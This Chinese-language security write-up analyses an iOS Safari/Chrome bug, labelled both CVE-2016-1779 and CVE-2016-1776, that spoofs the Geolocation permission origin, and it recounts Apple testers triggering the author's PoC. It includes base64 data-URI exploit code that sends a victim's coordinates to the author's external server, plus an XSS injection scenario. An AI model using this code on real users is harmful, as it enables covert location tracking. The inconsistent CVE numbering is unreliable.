CVE-2016-1779技術分析及其背後的故事

wyzsk發表於2020-08-19
作者： xlab · 2016/04/21 10:26

Author:[email protected]

0x00 前言

Geolocation API被用來獲取使用者主機裝置的地理位置，並且它有一套完整的保護使用者隱私的機制。但CVE-2016-1776這個漏洞，繞過了Geolocation認證源的安全機制，並有可能導致使用者隱私洩漏。本文在分析CVE-2016-1779漏洞成因的基礎上探討了Geolocation隱私機制，其中穿插的獲取蘋果公司的地理位置的“故事”，對使用者隱私更是一個警醒。

0x01 CVE-2016-1776

在IOS中Geolocation認證是由UIWebView來做處理，攻擊者可以繞過同源策略使認證框在任意域彈出，並且當使用者點選允許後可獲取到使用者的地理位置。在IOS平臺中，Safari和Chrome都受到這個漏洞的影響。

受影響產品：WebKit in Apple iOS < 9.3 and Safari < 9.1，Chrome

漏洞修復日期：2016/3/21

漏洞公告：

0x02 漏洞分析

2.1 Geolocation API的安全隱私策略

在W3C官方文件描述中，可以清晰的瞭解到Geolocation API的安全隱私策略。其中下面這條和我們今天分析的CVE-2016-1776相關

4.1 Privacy considerations for implementers of the Geolocation API

User agents must not send location information to Web sites without the express permission of the user. User agents must acquire permission through a user interface, unless they have prearranged trust relationships with users, as described below. The user interface must include the host component of the document's URI [URI]. Those permissions that are acquired through the user interface and that are preserved beyond the current browsing session (i.e. beyond the time when the browsing context[BROWSINGCONTEXT] is navigated to another URL) must be revocable and user agents must respect revoked permissions.

https://www.w3.org/TR/geolocation-API/

這條安全策略明確指出：“Geolocation必須經過使用者的許可才可以使用，除非已經預先確認了信任關係。瀏覽器在使用Geolocation時會彈出一個認證框來通知使用者，並且在這個認證框的UI上必須包含此頁面的URI。”對於這條策略，當下主流瀏覽器都已經實現。

2.2 認證框的源

觸發Geolocation的認證框很簡單，我們只要執行下面的程式碼即可，前提是之前沒有允許當前域獲取Geolocation。

#!js
<script>
    function success(position) {}
    navigator.geolocation.getCurrentPosition(success);
</script>

例如：http://www.test.com/geo.html。執行後，瀏覽器會在當前頁面上彈出認證對話方塊，對話方塊的UI上會顯示來源：www.test.com。

2.3 PoC Exploit Code of CVE-2016-1779

在2.2中是觸發Geolocation認證源的一個簡單流程。從這個過程中，我有了以下的想法。

  • 可否改變認證源。
  • 如果可以改變，是否可以為空。

於是，按照這個思路，開始了我的測試之旅。在這個過程中，發現IOS下Safari和Chrome在使用data:來解析這段程式碼時，認證源頭將為“://”

#!bash
data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3VjY2Vzcyhwb3NpdGlvbikge30KbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihzdWNjZXNzKTsKPC9zY3JpcHQ+Cg==

safari:

p1

chrome:

p2

接下來，我進一步最佳化了POC，如下

#!js
<title>test</title>
<script>
function geo(){
window.open('http://www.google.com');
location = 'data:text/html;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ +CjxtZXRhIGNoYXJzZXQ9dXRmLTggLz4KPHRpdGxlPmdlb2xvY2F0aW9uPC90aXRsZT4KPGJvZHk+CjxzY3JpcHQ +CmZ1bmN0aW9uIHN1Y2Nlc3MocG9zaXRpb24pIHsKZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbW90ZScpLnNyYz0iaHR0cDovL3hpc2lnci5jb20vdGVzdC9nZW8v Z2V0LnBocD9nZW9sb2NhdGlvbj0iKyItLS0tLS0iK2VuY29kZVVSSUNvbXBvbmVudChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpKyIsIitlbmNvZGVVUklDb21wb25lb nQocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CiB9Cm5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oc3VjY2Vzcyk7Cjwvc2NyaXB0Pgo8aW 1nIGlkPSJyZW1vdGUiIHNyYz0iIiB3aWR0aD0wIGhlaWdodD0wPgo8L2JvZHk+CjwvaHRtbD4=';
}

</script>

<button onclick='geo()'>Click Me</button>

Base64 decode：

#!html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset=utf-8 />
<title>geolocation</title>
<body>
<script>
function success(position) {
document.getElementById('remote').src="http://xisigr.com/test/geo/get.php?geolocation="+"------"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(position.coords.longitude);
}
navigator.geolocation.getCurrentPosition(success);
</script>
<img id="remote" src="" width=0 height=0>
</body>
</html>

Safari:

p3

Chrome:

p4

還記得前面W3C官方文件對Geolocation認證源的描述吧，“認證框上的URI源，必須要和當前頁面的源相同”。此時，我們已經成功的繞過了同源策略，使data:域的Geolocation認證源在其他任意域彈出。當使用者點選允許後，系統也並沒有檢查認證UI上的源和當前頁面源是否相同，於是地理位置就被髮送到攻擊者伺服器了。

當時，我是先把這個漏洞報送給了Google，但由於Geolocation的認證100%是由IOS UIWebView來控制，所以Google對IOS平臺下Chrome出現的這個問題也沒有太好的解決方法。之後，我把這個漏洞提交給了APPLE。APPLE於今年3月21日在IOS 9.3版本中修復了這個漏洞。

0x03 廉價的蘋果總部地理位置？？

在2016/1/6，我的伺服器上收到了一些地理位置回傳資訊。因為在我提交的POC中明確的指出，使用自己的伺服器搭建了一個漏洞驗證環境，如果觸發，資料則會傳到我的伺服器上。

p5

在查閱後發現，37.332578830316436,-122.03068509201906,顯示的正是APPLE的美國總部地址。

p6

從獲取到的返回資料可以發現，蘋果研究人員分別在2016/1/6、2016/1/7、2016/1/8、2016/1/10、2016/1/20、2016/1/22、2016/1/28這7個時間段觸發了POC，而且地址是相同的，都是在美國蘋果總部。可能當時驗證的蘋果研究人員，並沒有自己搭建漏洞驗證環境，而是直接使用了我提供的POC中的原有環境，所以導致在驗證漏洞的時候地理位置回傳到了我的伺服器上。

他們應該知道到這個問題，因為在POC中明確指出資料會回傳到這個地址xisigr.com/test/geo/info.txt。但是，他們還是義無反顧的觸發了7次漏洞，是疏忽大意還是並不在意蘋果總部的地理位置被洩漏出去，因為這個地址在網上都可以任意查到。但就算是這樣，我還是很驚訝,蘋果測試人員的地理位置和他們的作息時間就這樣被獲取到了。

這當然不僅僅是一個故事，只是想提醒大家，在真實複雜的網路攻擊中，蛛絲馬跡的資訊有時會成為“千里之堤毀於蟻穴”的突破口。不要讓類似於地理位置這樣重要的隱私資訊變得如此廉價。

0x04 關於Geolocation其他想說的

4.1 HTTPS

Geolocation API被主流瀏覽器支援，已經有些年頭，Geolocation API（getCurrentPosition()、watchPosition()）一直支援可以在HTTP協議中使用。但隨著網際網路隱私安全越來越被重視，且還趕上了各大瀏覽器巨頭們呼籲全網HTTPS的這樣一個大背景，Geolocation API被提到了一個非安全源HTTPS中不能使用的高度。終於Google最先做出了表率，在2016年4月13日Chrome 50升級更新後，Chrome中不再支援非安全源HTTP下使用Geolocation API。

p7

4.2 警惕外掛擴充套件

Geolocation上的瀏覽器外掛有很多，他們在使用“Geolocation”時對許可權並沒有考慮的那麼周全，導致有可能洩漏使用者的隱私。

  • 認證源為空的攻擊場景

在Firefox瀏覽器中，有一款地理定位的外掛Geolocater，在最新版Firefox安裝上後，會導致Geolocation認證源失效，也就是源變成了空。這是很可怕的事情，攻擊者利用後，可以欺騙使用者點選地理位置認證確認，進而獲取到使用者的地理位置。

Geolocater地址：https://addons.mozilla.org/en-us/firefox/addon/geolocater/

p8

我們來看下當認證源為空時的一個攻擊場景：

假設www.test.com很安全，沒有任何安全風險。且頁面中存在這樣的程式碼

#!html
----www.test.com----
<iframe src="http://id.info.com">
<script src=”http://cdn.info.com”>
........
---------------------------

如果攻擊者在info.com上發現了XSS，並且注入Geolocation API。那麼當使用者訪問www.test.com的時候，會彈出Geolocation認證對話方塊，因為UI中沒有源的提示，使用者以為是test.com域發出的請求，進而點選允許獲取地理位置。這時，攻擊者就獲取到了使用者的地理位置。

  • 徹底幹掉認證+繞過安全源

在Chrome下有一款叫“manual-geolocation”的外掛。在我看來它就是Geolocation安全策略的終結者。當使用者安裝這個外掛後，所有網站在使用Geolocation時將不再需要使用者確認，而且在Chrome 50中可以在非安全源HTTP下使用。當這個外掛開啟時，對使用者來說就是一個噩夢開始！

manual-geolocation外掛地址：https://chrome.google.com/webstore/detail/manual-geolocation/jpiefjlgcjmciajdcinaejedejjfjgki

本文章來源於烏雲知識庫，此映象為了方便大家學習研究，文章版權歸烏雲知識庫！

相關文章